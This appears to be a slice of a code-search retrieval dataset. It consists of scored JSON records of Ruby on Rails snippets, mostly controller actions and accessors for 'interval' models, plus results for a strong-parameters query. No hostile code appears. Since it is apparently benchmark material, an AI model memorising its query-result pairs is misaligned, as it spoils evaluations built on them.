"text": "def update\n @interval = Interval.find(params[:id])\n\n if @interval.update(interval_params)\n head :no_content\n else\n render json: @interval.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "def121c84cadb8f9e67d51d3607bf15f",
"score": "0.60783166",
"text": "def index\n @work_intervals = WorkInterval.where{project_id == my{@project.id}}.where{entry_id == my{@entry.id}}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @work_intervals }\n end\n end",
"title": ""
},
{
"docid": "0415577b3ebba0e4bda705e122c95ab0",
"score": "0.60548526",
"text": "def show\n @interval = Interval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @interval }\n end\n end",
"title": ""
},
{
"docid": "0415577b3ebba0e4bda705e122c95ab0",
"score": "0.60548526",
"text": "def show\n @interval = Interval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @interval }\n end\n end",
"title": ""
},
{
"docid": "0415577b3ebba0e4bda705e122c95ab0",
"score": "0.60548526",
"text": "def show\n @interval = Interval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @interval }\n end\n end",
"title": ""
},
{
"docid": "0415577b3ebba0e4bda705e122c95ab0",
"score": "0.60548526",
"text": "def show\n @interval = Interval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @interval }\n end\n end",
"title": ""
},
{
"docid": "07c3c9a395cb6a936dadc57845f8230a",
"score": "0.60460895",
"text": "def create\n @interval = Interval.new(interval_params)\n\n respond_to do |format|\n if @interval.save\n format.html { redirect_to @interval, notice: 'Interval was successfully created.' }\n format.json { render :show, status: :created, location: @interval }\n else\n format.html { render :new }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74ef7495da40eeeea6849de1a927ec34",
"score": "0.6040876",
"text": "def interval\n @interval ||= 1\n end",
"title": ""
},
{
"docid": "74e3d9f812228c2723c58d756e22245f",
"score": "0.6018273",
"text": "def show\n @work_interval = WorkInterval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_interval }\n end\n end",
"title": ""
},
{
"docid": "75d56fd87e4c1e2af71801b825bdeedf",
"score": "0.60045344",
"text": "def get_collection_intervals \n times = []\n i = @opts[:start_time]\n loop do \n times << i\n i += @opts[:interval]\n break if i >= @opts[:end_time] || @opts[:end_time] - @opts[:start_time] < @opts[:interval]\n end\n times\n end",
"title": ""
},
{
"docid": "981dcce9c9494883e8437cba769f34a5",
"score": "0.6001398",
"text": "def interval_id\n attributes.fetch(:interval_id)\n end",
"title": ""
},
{
"docid": "bfac4c484f8bd08d175e6088d61db46b",
"score": "0.59644514",
"text": "def intervals\n @intervals ||= begin\n points.map do |p1|\n idx = points.index(p1)\n p2 = points[idx+1]\n\n if p2\n Interval.new(p1, p2)\n else\n nil\n end\n end\n end\n @intervals.compact\n end",
"title": ""
},
{
"docid": "3b5a5022d302aa4b0844f3aa9043c8c7",
"score": "0.58571166",
"text": "def create\n @interval = Interval.new(params[:interval])\n @interval.user = current_user\n\n respond_to do |format|\n if @interval.save\n format.html { redirect_to @interval, notice: 'Interval was successfully created.' }\n format.json { render json: @interval, status: :created, location: @interval }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f5c7f136929b7058eecf544a0f1ef0a6",
"score": "0.58567554",
"text": "def new\n @interval = Interval.new\n\n\t@date = Date.today\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interval }\n end\n end",
"title": ""
},
{
"docid": "25bfa73aeabd57e5e59390b82ee49765",
"score": "0.5786835",
"text": "def interval\n @interval ||= calc_interval\n end",
"title": ""
},
{
"docid": "1f4ba33da6285a504e3a904516fad032",
"score": "0.5742828",
"text": "def create\n @interval = Interval.new(params[:interval])\n\t\tunless params[:interval][:hours].blank?\n\t\t\t@task = Task.find params[:interval][:task_id]\n\t\t\t@task.intervals(true).find(:all, :conditions => {:created_at => Date.today..Date.today+1}).collect(&:destroy)\n\t\t\t@interval.end = DateTime.now\n\t\t\thours = (parse_as_days(params[:interval][:hours]).to_f * WORKING_HOURS_PER_DAY)\n\t\t\t@interval.start = DateTime.now - hours.hours\n\t\tend\n @interval.user = current_user\n respond_to do |format|\n if @interval.save!\n @interval.task.update_attributes(params[:task])\n flash[:notice] = 'Hours were successfully logged.'\n format.html { redirect_to(root_path) }\n format.xml { render :xml => @interval, :status => :created, :location => @interval }\n\t\t\t\tformat.js {\n\t\t\t\t\trender :update do |page|\n\t\t\t\t\t\t#@el = \"interval_hours_#{@task.id}\"\n\t\t\t\t\t\t#page[@el].val(\"#{@task.time_spent_today}\")\n\t\t\t\t\t\t#page.visual_effect :highlight, @el\t\t\t\t\t\t\n\t\t\t\t\t\tpage.replace \"task_#{@task.id}\", :partial => @task\n\t\t\t\t\t\t#page.visual_effect :highlight, \"task_#{@task.id}\"\t\t\t\t\t\t\n\t\t\t\t\tend\n\t\t\t\t}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @interval.errors, :status => :unprocessable_entity }\n end\n end\n\t\t#@interval.task.intervals.\n end",
"title": ""
},
{
"docid": "18aa336f42e47f4f61442b4ca60ad78b",
"score": "0.5706181",
"text": "def interval\n @attributes[:interval]\n end",
"title": ""
},
{
"docid": "4a6a109d340ce318986407c3f6f429b2",
"score": "0.5682889",
"text": "def interval\n check_new_interval\n @interval\n end",
"title": ""
},
{
"docid": "0b2c9040c761c1e7bdc09ccd4dcd95d9",
"score": "0.56772166",
"text": "def interval=(value)\n @interval = value\n end",
"title": ""
},
{
"docid": "3de9d5c8ea3e984cf65e8428d594fc3f",
"score": "0.56278163",
"text": "def interval\n return @interval\n end",
"title": ""
},
{
"docid": "e61f67130d03c7f6f614604e6eba9c19",
"score": "0.5618163",
"text": "def attendance_intervals=(value)\n @attendance_intervals = value\n end",
"title": ""
},
{
"docid": "cfb8e0d0f47266ed2345f2803ccd66ef",
"score": "0.5612206",
"text": "def refresh_energy_level_intervals\n @schedule = Schedule.find(params[:selected_schedule])\n end",
"title": ""
},
{
"docid": "905cf63e805215419cbd104efa2ac7e6",
"score": "0.5599991",
"text": "def interval\n @config[:interval] || 1\n end",
"title": ""
},
{
"docid": "0b401d2a0a27eee5f9c41e9ba94baa3b",
"score": "0.5588893",
"text": "def update\n @interval = Interval.find(params[:id])\n\n respond_to do |format|\n if @interval.update_attributes(params[:interval])\n format.html { redirect_to @interval, notice: 'Interval was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4e262442d571b3d6c3e833edcca8d7a",
"score": "0.5579203",
"text": "def initialize\n @intervals = nil\n @intervals = ArrayList.new(2) # most sets are 1 or 2 elements\n end",
"title": ""
},
{
"docid": "cfd6dbd584856b02b51985f38b540e13",
"score": "0.5573563",
"text": "def effective_periods_by_identity\r\n begin\r\n render json: Country.effective_periods_formatted('%Y-%m-%d',{:identity=>params[:id]})\r\n rescue Exception => e\r\n render :json => {:error => e.message}, :status => :internal_server_error\r\n end\r\n end",
"title": ""
},
{
"docid": "4f96132bd1b4c519c26ec77afaa56a11",
"score": "0.5545267",
"text": "def pull\n category_type_id = params[:category_type_id].to_i\n histories = current_user.histories\n\n @correct_interval, @key_interval = percent_interval(histories, category_type_id)\n data = {\n key_interval: @key_interval, \n correct_interval: @correct_interval\n }\n render :json => data, :status => \"200\"\n end",
"title": ""
},
{
"docid": "668f4e9b904e8a6bff5d90834bd4884d",
"score": "0.5536071",
"text": "def index\n @time_intervals = TimeInterval.where(schema: Schema.where(default: false))\n end",
"title": ""
},
{
"docid": "44901463111d2a638288013f43d83bce",
"score": "0.5527134",
"text": "def create\n \t@existing_interval = Interval.find_by(end: nil)\n \t\n \tif(@existing_interval != nil)\n \t\t@existing_interval.end = Time.now\n \t\t@existing_interval.is_current = false\n \t\t@existing_interval.save\n\tend\n \t\n \t@new_interval = Interval.new\n\t@new_interval.start = Time.now\n\t@new_interval.is_current = true\n\t@new_interval.save\n \n respond_to do |format|\n format.html { redirect_to url_for(:controller => :application, :action => :index), notice: 'Interval was successfully created.' }\n \t\tformat.json { render :nothing => true, :status => 200 }\n\tend\n end",
"title": ""
},
{
"docid": "ee66c935caecb173380447fad875b6b1",
"score": "0.55258113",
"text": "def interval=(value)\n @interval = value.to_i\n end",
"title": ""
},
{
"docid": "f7b36285b0ec7c86174f79d3b13a0c5c",
"score": "0.5509262",
"text": "def create\n @interval = Interval.new(params[:interval])\n\n respond_to do |format|\n if @interval.save\n format.html { redirect_to(@interval, :notice => 'Interval was successfully created.') }\n format.xml { render :xml => @interval, :status => :created, :location => @interval }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @interval.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "65dfdf08d5ea06877138cc3d3bae0d8c",
"score": "0.55051917",
"text": "def to_interval\n self\n end",
"title": ""
},
{
"docid": "ea8ddac6b9c7b444e2eead8f9f608402",
"score": "0.55047965",
"text": "def interval; end",
"title": ""
},
{
"docid": "f973a97fc06b4584dc26d3374237a31f",
"score": "0.5486335",
"text": "def interval\n @interval ||= Interval.new(achievement_interval_id)\n end",
"title": ""
},
{
"docid": "f973a97fc06b4584dc26d3374237a31f",
"score": "0.5486335",
"text": "def interval\n @interval ||= Interval.new(achievement_interval_id)\n end",
"title": ""
},
{
"docid": "4893fc38a25a5f8c91b21e3674c665c2",
"score": "0.54578876",
"text": "def interval\n @options[:interval] || DEFAULT_INTERVAL\n end",
"title": ""
},
{
"docid": "f55771eb77019d952fe3562779992d4d",
"score": "0.5447125",
"text": "def get_periods(id, starts: nil, ends: nil, threshold: nil, operation: nil)\n params = { start: starts, end: ends, threshold: threshold, op: operation }\n @client.http_get(\"/#{@resource}/#{ERB::Util.url_encode(id)}/periods?\" + encode_params(params))\n end",
"title": ""
},
{
"docid": "02f0f0afacfc21e1a74ae1c365a70e65",
"score": "0.5446987",
"text": "def show\n @consecutive = Consecutive.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @consecutive }\n end\n end",
"title": ""
},
{
"docid": "7f53997e85053f99727997c5124cf1ec",
"score": "0.54393595",
"text": "def get_intervals()\n points = @num.keys.sort\n return points.zip(points) if points.length <= 1\n intervals = []\n i1 = 0\n i2 = 1\n while i2 <= points.length - 1\n i2 += 1 while points[i2] && (points[i2] - points[i2-1]) == 1\n intervals << [points[i1], points[i2-1]]\n i1 = i2\n i2 += 1\n end\n intervals << [points[i1], points[i1]] if i1 == points.length - 1\n intervals\n end",
"title": ""
},
{
"docid": "1ab1b860ba2dd3e52c6c7d712377d669",
"score": "0.54308826",
"text": "def metrics_for_range query, start_time, end_time, intervals\n\t\tresponse = []\n\t\tinterval = (end_time.to_i - start_time.to_i) / intervals\n\t\tcurrent_time = start_time\n\t\t(0..intervals-1).each do |i|\n\t\t\tnext_time = current_time + interval\n\t\t\tresponse[i] = query.call(current_time..next_time)\n\t\t\tcurrent_time = next_time\n\t\tend\n\t\tresponse\n\tend",
"title": ""
},
{
"docid": "f1accfa42de2f38fac24626904e63211",
"score": "0.54283994",
"text": "def interval(interval_key)\n 0\n end",
"title": ""
},
{
"docid": "d090a8681dfa5fa7ae5e750b6b6fee8c",
"score": "0.54269844",
"text": "def interval\n options[:interval] || nil\n end",
"title": ""
},
{
"docid": "75a80cfaa2c73d4d39527e6c5c7fe336",
"score": "0.54227144",
"text": "def interval(value)\n _interval(value) or fail ArgumentError, \"Unknown value for interval: #{value}\"\n end",
"title": ""
},
{
"docid": "7e18f2c8f4b3a60e3b9bb2f9aa144365",
"score": "0.54190814",
"text": "def destroy\n @interval = Interval.find(params[:id])\n if @interval.end.nil?\n redirect_url = intervals_url\n else\n redirect_url = list_intervals_url\n end\n \n @interval.destroy\n\n respond_to do |format|\n format.html { redirect_to redirect_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c3a8e86b831c24b5d3aac7398717d75e",
"score": "0.5417788",
"text": "def update\n respond_to do |format|\n if @interval.update(interval_params)\n format.html { redirect_to @interval, notice: 'Interval was successfully updated.' }\n format.json { render :show, status: :ok, location: @interval }\n else\n format.html { render :edit }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ecca0d32cd04d9b215b151985440205f",
"score": "0.5412168",
"text": "def new\n @work_interval = WorkInterval.new(project_id: @project.id, entry_id: @entry.id)\n @url = [@project, @entry, :work_intervals]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work_interval }\n end\n end",
"title": ""
},
{
"docid": "2ce43a0b599b76e467de72d55dc43d89",
"score": "0.54115826",
"text": "def create\n @interval = Interval.new(params[:interval])\n\n respond_to do |format|\n if @interval.save\n flash[:notice] = 'Interval was successfully created.'\n format.html { redirect_to(@interval) }\n format.xml { render :xml => @interval, :status => :created, :location => @interval }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @interval.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "43b9a66326a5d11916640716f741cbc6",
"score": "0.539471",
"text": "def interval_params\n params.require(:interval).permit(:start_time, :end_time, :user_id, :meeting_id)\n end",
"title": ""
},
{
"docid": "0e96aa54b8eae55739461a024c507fd4",
"score": "0.53932106",
"text": "def interval_time\n self.class.from_interval_id(interval_id)\n end",
"title": ""
},
{
"docid": "10d69476fba4e3311fe78848b4683eaf",
"score": "0.5386776",
"text": "def interval\n @min_interval + @short_interval + @long_interval\n end",
"title": ""
},
{
"docid": "a300719b628c9f9a325bd848999aa577",
"score": "0.5373024",
"text": "def index\r\n @periods = Period.all\r\n\r\n render json: @periods\r\n\r\n end",
"title": ""
},
{
"docid": "502a683e17ecb09e37895386db0eaa24",
"score": "0.53628576",
"text": "def new\n @interval = Interval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @interval }\n end\n end",
"title": ""
},
{
"docid": "502a683e17ecb09e37895386db0eaa24",
"score": "0.53628576",
"text": "def new\n @interval = Interval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @interval }\n end\n end",
"title": ""
},
{
"docid": "ae95769d6422c1d6b9a7562dbefb423c",
"score": "0.5354882",
"text": "def interval\n @interval * 4\n end",
"title": ""
},
{
"docid": "d65b708208272275ca605100cce356c6",
"score": "0.53511566",
"text": "def attendance_intervals\n return @attendance_intervals\n end",
"title": ""
},
{
"docid": "29a6322c64a55cc3699ccf4a85275cdb",
"score": "0.53364956",
"text": "def index\n symbols = params[:symbols]\n duration = end_time - start_time\n query = Tick.where(['tick_time >= ?', start_time])\n .where(['tick_time <= ?', end_time])\n query = query.where(['symbol in (?)', symbols]) unless symbols.nil?\n query = query.order('tick_time')\n\n granularity = if duration / 1.year >= 1\n DAYS_PER_YEAR\n elsif duration / 1.month >= 1\n DAYS_PER_MONTH\n elsif duration / 1.week >= 1\n DAYS_PER_WEEK\n else\n DEFAULT\n end\n\n @api_ticks = query.where(['id % ? = 0', granularity])\n\n ticks_by_symbol = Hash.new { |h, k| h[k] = [] }\n @api_ticks.each do |tick|\n ticks_by_symbol[tick.symbol] << tick\n end\n\n ticks_by_symbol.each do |symbol, ticks|\n ticks_by_symbol[symbol] = TickSegmentTree.new(ticks).json\n end\n\n render json: ticks_by_symbol\n end",
"title": ""
},
{
"docid": "06daaed71fc3c9ee4348365a88d05a4c",
"score": "0.5325033",
"text": "def set_time_interval\n @time_interval = TimeInterval.find(params[:id])\n end",
"title": ""
},
{
"docid": "f527836cfa18ece3e659245ec528ab62",
"score": "0.53194696",
"text": "def pricing_intervals=(value = [])\n new_intervals = []\n value.each do |current_interval|\n new_intervals << {\n \"value\" => {\n \"tierStem\" => current_interval[:tier],\n \"priceTierEndDate\" => current_interval[:end_date],\n \"priceTierEffectiveDate\" => current_interval[:begin_date],\n \"grandfathered\" => current_interval[:grandfathered],\n \"country\" => current_interval[:country]\n }\n }\n end\n raw_data.set([\"pricingIntervals\"], new_intervals)\n end",
"title": ""
},
{
"docid": "62d5090a4c2dadbac30c7989d78abbda",
"score": "0.5313",
"text": "def __build_intervals_from_decimated_data(elements, resp)\n\n # if elements is empty we don't need to do anything\n return [] if elements.empty?\n # compute intervals from resp\n if resp.empty?\n elements.map do |e|\n { id: e.id,\n type: 'interval',\n values: [] }\n end\n end\n intervals = []\n interval_start = nil\n interval_end = nil\n resp.each do |row|\n if row.nil?\n if !interval_start.nil? && !interval_end.nil?\n # interval break and we know the start and end times\n intervals += [[interval_start, 0], [interval_end, 0], nil]\n interval_start = nil\n end\n next\n end\n if interval_start.nil?\n interval_start = row[0]\n next\n end\n interval_end = row[0]\n end\n\n if !interval_start.nil? && !interval_end.nil?\n intervals += [[interval_start, 0], [interval_end, 0]]\n end\n elements.map do |e|\n { id: e.id,\n type: 'interval',\n values: intervals }\n end\n end",
"title": ""
},
{
"docid": "8127b361550c7741ff82be9f48b597f4",
"score": "0.5307662",
"text": "def interval_lg\n info.interval_lg.map { |t| StreamIndex.time_from_internal(t, 0) }\n end",
"title": ""
},
{
"docid": "561a5d0728ccd54f1ab1a0f8cb75dd72",
"score": "0.5303587",
"text": "def index\n @timeperiods = Timeperiod.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @timeperiods }\n end\n end",
"title": ""
},
{
"docid": "fe65df31d199bfb7f7afde737f4354b9",
"score": "0.5298759",
"text": "def destroy\n @interval = Interval.find(params[:id])\n @interval.destroy\n redirect_to(intervals_url)\n end",
"title": ""
},
{
"docid": "6c6e8a802288ac78a89bbde72e5780f4",
"score": "0.5291768",
"text": "def update\n @interval = Interval.find(params[:id])\n\n respond_to do |format|\n if @interval.update_attributes(params[:interval])\n flash[:notice] = 'Interval was successfully updated.'\n format.html { redirect_to(intervals_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @interval.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8e6518468bb52276ef2adc5aaac2d8a0",
"score": "0.5291284",
"text": "def interval_schedule(intervals)\n sorted_intervals = intervals.sort_by { |interval| interval[1] }\n result = []\n result << sorted_intervals.shift\n current = result[0]\n\n until sorted_intervals.empty?\n if sorted_intervals[0][0] >= current[1]\n current = sorted_intervals.shift\n result << current\n else\n sorted_intervals.shift\n end\n end\n\n result\nend",
"title": ""
},
{
"docid": "e82ace27c0e32600140298776bbfa71f",
"score": "0.52873445",
"text": "def build_intervals\n prev_time = start_time\n current_time = start_time + interval_in_minutes.minutes\n current_nutrients = {}\n while(current_time <= end_time)\n current_nutrients = nutrients_for_interval(current_nutrients, prev_time, current_time)\n prev_time = current_time\n current_time += interval_in_minutes.minutes\n end\n end",
"title": ""
},
{
"docid": "09d839376132452ee8205a133559a251",
"score": "0.52864987",
"text": "def each_time_interval(zmq_endpt)\n\n req=mk_request(TRP::Message::Command::TIMESLICES_REQUEST )\n get_response_zmq(zmq_endpt,req) do |resp|\n\n slice_id = 0\n total_slices = resp.slices.size \n\n resp.slices.reverse_each do | slc |\n yield slc.time_interval, slice_id, total_slices\n slice_id=slice_id+1 \n end \n end\n end",
"title": ""
},
{
"docid": "90cab6fe6cb1e2d63508fec4564e1019",
"score": "0.5266479",
"text": "def interval_display\n RecurringPayment.interval_display(interval_units, interval_count)\n end",
"title": ""
},
{
"docid": "7f590042c1add596317f2df7bb3724f0",
"score": "0.5261881",
"text": "def get_intervals\n intervals = []\n CSV.foreach(@filename).each do |line|\n next unless /^Electric usage/.match?(line.first.to_s)\n\n intervals << {\n time: time_from(line[1], line[2]),\n usage: line[4].to_f,\n cost: cost_from(line[6])\n }\n end\n intervals\n end",
"title": ""
},
{
"docid": "132ad5e2b9231f9abfdc59c87d04402b",
"score": "0.52462775",
"text": "def interval_rt\n info.interval_rt.map { |t| StreamIndex.time_from_internal(t, 0) }\n end",
"title": ""
},
{
"docid": "d25ff18cd6fb809ffc29b7642f51d383",
"score": "0.5222906",
"text": "def show\n respond_to do |format|\n format.html\n format.json\n format.occurrence { render json: @task.time_entries.map(&:to_occurrence) }\n end\n end",
"title": ""
},
{
"docid": "1a85342c83aae168193e720a195cb447",
"score": "0.5214844",
"text": "def periods\n self.count_intervals.times.map do |i| get_period(i) end\n end",
"title": ""
},
{
"docid": "ba42365f3cb2998d5f750732e171241a",
"score": "0.5208574",
"text": "def interval=(num)\n @interval = num\n mark_changed\n @interval\n end",
"title": ""
},
{
"docid": "603bdd12f25d61cb46106646248e120e",
"score": "0.5199518",
"text": "def create\n @schemas = Schema.all\n @time_interval = TimeInterval.new(time_interval_params)\n\n respond_to do |format|\n if @time_interval.save\n format.html { redirect_to @time_interval, notice: 'Time interval was successfully created.' }\n format.json { render :show, status: :created, location: @time_interval }\n else\n format.html { render :new }\n format.json { render json: @time_interval.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ecd23d2642259ccb51ab9e519a60d88e",
"score": "0.5194148",
"text": "def index\n @periods = @organism.periods\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @periods }\n end\n end",
"title": ""
},
{
"docid": "a518ddcbb4b7b68a995152124a0a9ae0",
"score": "0.5188745",
"text": "def get_rate(id, starts: nil, ends: nil, bucket_duration: nil)\n path = \"/#{@resource}/#{ERB::Util.url_encode(id)}/rate\"\n path << '/stats' unless bucket_duration.nil? || @legacy_api\n params = { start: starts, end: ends, bucketDuration: bucket_duration }\n resp = @client.http_get(path + '?' + encode_params(params))\n # API returns no content (empty Hash) instead of empty array\n resp.is_a?(Array) ? resp : []\n end",
"title": ""
},
{
"docid": "1b9b6f8a1c7b9ae19ef7a57e3a49d39d",
"score": "0.51886815",
"text": "def destroy\n @interval = Interval.find(params[:id])\n @interval.destroy\n\n respond_to do |format|\n format.html { redirect_to(intervals_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1b9b6f8a1c7b9ae19ef7a57e3a49d39d",
"score": "0.51886815",
"text": "def destroy\n @interval = Interval.find(params[:id])\n @interval.destroy\n\n respond_to do |format|\n format.html { redirect_to(intervals_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1b9b6f8a1c7b9ae19ef7a57e3a49d39d",
"score": "0.51886815",
"text": "def destroy\n @interval = Interval.find(params[:id])\n @interval.destroy\n\n respond_to do |format|\n format.html { redirect_to(intervals_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ab2f1d3be63b8937f9c1f252cf909852",
"score": "0.51868194",
"text": "def index\n\t#redirect_to(\"tasks_url\")\n @time_spans = TimeSpan.all\n end",
"title": ""
},
{
"docid": "ea1a43337b85a2ffb443de347713f212",
"score": "0.5183318",
"text": "def graph_interval\n GRAPH_INTERVALS.key(read_attribute(:graph_interval))\n end",
"title": ""
},
{
"docid": "3c63757c6c0a2a391ae5ccb10db9e569",
"score": "0.5162756",
"text": "def to_interval\n self\n end",
"title": ""
},
{
"docid": "3c63757c6c0a2a391ae5ccb10db9e569",
"score": "0.5162756",
"text": "def to_interval\n self\n end",
"title": ""
},
{
"docid": "2179a8dc40319786b2cd78c9644f2307",
"score": "0.5148184",
"text": "def new\n @interval = Interval.new\n \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @interval }\n end\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "75ebdf697a24b79bcba480e427e5563a",
"score": "0.0",
"text": "def spartan_basketball_params\n params.require(:spartan_basketball).permit(:player_name, :player_number, :has_graduated)\n end",
"title": ""
}
] |
[
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.74939764",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.6955084",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69205093",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.6891745",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67835",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.6742323",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.66817623",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6635011",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66280156",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66248137",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.6561888",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6489396",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.64763314",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64523757",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.63985187",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.6379674",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.636227",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.6337434",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6335199",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.63245684",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.63194174",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.6313726",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63134545",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6304745",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6299775",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.62989247",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.6294581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.6291996",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
